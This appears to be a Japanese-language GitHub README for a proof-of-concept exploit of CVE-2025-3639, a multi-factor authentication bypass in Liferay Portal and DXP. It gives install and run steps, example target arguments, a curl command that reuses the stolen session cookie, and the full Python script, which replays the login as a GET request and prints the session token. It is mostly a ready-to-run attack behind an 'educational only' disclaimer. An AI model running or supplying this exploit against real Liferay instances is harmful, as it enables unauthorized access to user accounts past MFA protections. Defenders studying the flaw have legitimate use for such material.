
Liferay Portal(バージョン7.3.0~7.4.3.132)およびLiferay DXP(2024.Q1~2025.Q1.6の各種バージョン)におけるログインバイパスの脆弱性
このリポジトリには、CVE-2025-3639 の Proof of Concept (PoC) が含まれています。これは、Liferay Portal(バージョン 7.3.0 ~ 7.4.3.132)および Liferay DXP(2024.Q1 から 2025.Q1.6 までの複数バージョン)におけるログインバイパス脆弱性です。この PoC は、有効な認証情報を持つ未認証ユーザーが、POST リクエストを GET リクエストに変更することで多要素認証 (MFA) をバイパスし、ユーザーアカウントに不正アクセスする可能性があることを示しています。
警告: この PoC は教育目的のみです。この脆弱性の無許可でのテストや悪用は違法であり、非倫理的です。システム所有者から明示的な書面による許可を得た場合のみ使用してください。
sudo apt-get update
sudo apt-get install python3 python3-requests
pip3 install requests
リポジトリをクローンします:
git clone https://github.com/6lj/CVE-2025-3639.git
cd CVE-2025-3639
Python 3 と requests ライブラリがインストールされていることを確認します:
pip3 install requests
適切な引数(<target_url>、<username>、<password> を対象の Liferay インスタンス URL と有効な認証情報に置き換えてください)を指定して PoC スクリプトを実行します。
poc.pypython3 poc.py --target <target_url> --username <username> --password <password>
--target: Liferay Portal/DXP インスタンスの URL(例: http://example.com)。--username: 対象インスタンスの有効なユーザー名。--password: そのユーザー名の有効なパスワード。python3 poc.py --target http://192.168.1.100 --username [email protected] --password Test123!
成功: エクスプロイトが機能した場合、スクリプトは有効なセッショントークンまたは MFA なしでユーザーアカウントへのアクセスを示す成功メッセージを返します。
curl -b "COOKIE=<session_token>" http://<target_url>/api/jsonws/user/get-current-user
失敗: サーバーがエラー(例: 401 Unauthorized または 403 Forbidden)を返した場合、インスタンスが脆弱でないか、MFA が有効になっていない可能性があります。
トラフィックの監視: Wireshark などのツールを使用して HTTP トラフィックを検査します:
sudo wireshark -f "tcp port 80 or tcp port 443"
以下は poc.py のサンプルコードです:
import requests
import argparse
def exploit(target, username, password):
print(f"[*] Attempting CVE-2025-3639 exploit on {target}")
login_url = f"{target}/c/portal/login"
params = {
"p_auth": "",
"login": username,
"password": password
}
try:
response = requests.get(login_url, params=params, allow_redirects=True)
if response.status_code == 200 and "JSESSIONID" in response.cookies:
print(f"[+] Success! Session token: {response.cookies['JSESSIONID']}")
return True
else:
print(f"[-] Failed: {response.status_code} - {response.text}")
return False
except Exception as e:
print(f"[-] Error: {str(e)}")
return False
if __name__ == "__main__":
parser = argparse.ArgumentParser(description="CVE-2025-3639 PoC for Liferay Portal/DXP")
parser.add_argument("--target", required=True, help="Target Liferay URL (e.g., http://example.com)")
parser.add_argument("--username", required=True, help="Valid username")
parser.add_argument("--password", required=True, help="Valid password")
args = parser.parse_args()
exploit(args.target, args.username, args.password)
このプロジェクトは教育目的のみです。著者は、この PoC の無許可または違法な使用について一切の責任を負いません。テスト前に必ずシステム所有者から明示的な許可を得てください。